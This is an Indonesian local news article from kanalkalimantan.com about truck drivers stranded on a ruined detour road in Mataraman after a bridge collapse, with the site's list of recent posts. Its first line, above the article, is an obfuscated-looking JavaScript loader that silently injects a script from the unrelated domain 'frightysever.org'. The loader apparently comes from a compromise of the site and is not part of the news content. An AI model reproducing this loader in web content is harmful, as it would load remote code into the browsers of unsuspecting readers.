(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jalan Alternatif di Mataraman Jadi Bubur, Sopir Angkutan Nginap di Hutan Karet


KANALKALIMANTAN.COM, MARTAPURA – Dua pekan sudah jalur alternatif di Desa Gunung Ulin dan sekitarnya di Kecamatan Mataraman digunakan terhitung sejak jembatan Sungai Salim di Jalan A Yani km 55 ambruk diterjang banjir pada Kamis (14/1/2021) lalu.

Selama 15 hari pula para sopir angkutan, roda enam ke atas, harus melewati jalan kecil dan berlumpur karena tidak bisa melewati jalur A Yani di kilometer 55, Mataraman.

Saat ini pembangunan jembatan darurat belum selesai dan hanya boleh dilewati roda dua dan roda empat. Selama belum selesai maka mereka tetap dialihkan ke jalur alternatif.

Para sopir angkutan terpaksa harus melewati jalur alternatif melewati kebun karet. Parahnya, guyuran hujan dan banyaknya angkutan berat yang lewat setiap harinya mengakibatkan jalur alternatif itu rusak parah. Aspal terkelupas, jalan pun jadi bubur.

Dampaknya lagi, mobil harus bergantian lewat. saking panjangnya antrean para sopir terpaksa menginap di jalan.

Tidak ada warung atau orang berjualan menjadikan para sopir kerap merasakan lapar saat antre.

Untungnya masih ada relawan yang setiap hari mengantar dan memberikan makanan gratis kepada para sopir tersebut.

Sudah beberapa hari ini, relawan Manis mengantarkan makanan berupa nasi bungkus. Siang dan malam.

Saat ini, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar menurunkan sejumlah alat berat dan pekerja guna melakukan perbaikan terhadap jalan yang berubah jadi bubur itu.

“Pe mkab Banjar melalui dinas PUPR melakukan perbaikan seadanya dulu mengurangi kerusakan dengan harapan jalur alternatif ini tetab bisa digunakan sembari menunggu jembatan bailey di Jalan A Yani km55 selesai,” ujar Kepala Bidang Bina Marga Dinas PUPR Kabupaten Banjar, Ahmad Solhan, Senin (1/2/2021).

Menurut dia, setelah jembatan bailey di km55 selesai dan bisa dilewati mobil roda enam ke atas, maka pihaknya akan menginventarisasi kerusakan di jalur Gunung Ulin guna dilakukan perbaikan. (kanalkalimantan.com/dhani)

 

Reporter : Dhani
Editor : Dhani

 

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.